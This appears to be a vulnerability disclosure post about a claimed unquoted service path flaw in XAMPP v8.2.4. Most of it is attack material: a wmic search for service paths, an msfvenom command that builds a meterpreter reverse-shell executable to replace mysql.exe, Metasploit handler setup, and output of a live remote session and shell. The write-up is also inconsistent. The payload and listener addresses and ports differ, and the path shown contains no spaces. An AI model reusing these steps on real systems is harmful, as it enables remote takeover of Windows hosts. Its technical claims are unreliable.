Full Disclosure - XAMPP Unquoted Path

Application

• XAMPP v8.2.4

Information

• Path not hardcoded into application

Exploit

Steps to Exploit:

1. Search for unquoted paths

2. Generate meterpreter shell

3. Copy shell to XAMPP directory replacing "mysql.exe"

4. Exploit by double clicking on shell

C:\Users\astoykov>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

mysql                                                                               mysql                                     C:\xampp\mysql\bin\mysqld.exe --defaults-file=c:\xampp\mysql\bin\my.ini mysql            Auto

// Generate shell

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.16 lport=4444 -f exe -o mysql.exe

// Setup listener

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set lhost 192.168.1.13

msf6 exploit(multi/handler) > set lport 4443

msf6 exploit(multi/handler) > set payload meterpreter/reverse_tcp

msf6 exploit(multi/handler) > run

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.1.13:4443

[*] Sending stage (175686 bytes) to 192.168.1.11

[*] Meterpreter session 1 opened (192.168.1.13:4443 -> 192.168.1.11:49686) at 2023-07-08 03:59:40 -0700

meterpreter > getuid

Server username: WIN-5PT4K404NLO\astoykov

meterpreter > getpid

Current pid: 4724

meterpreter > shell

Process 5884 created.

Channel 1 created.

Microsoft Windows [Version 10.0.20348.1]

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C:\xampp\mysql\bin>dir

dir

 Volume in drive C has no label.

 Volume Serial Number is 80B5-B405

 Directory of C:\xampp\mysql\bin

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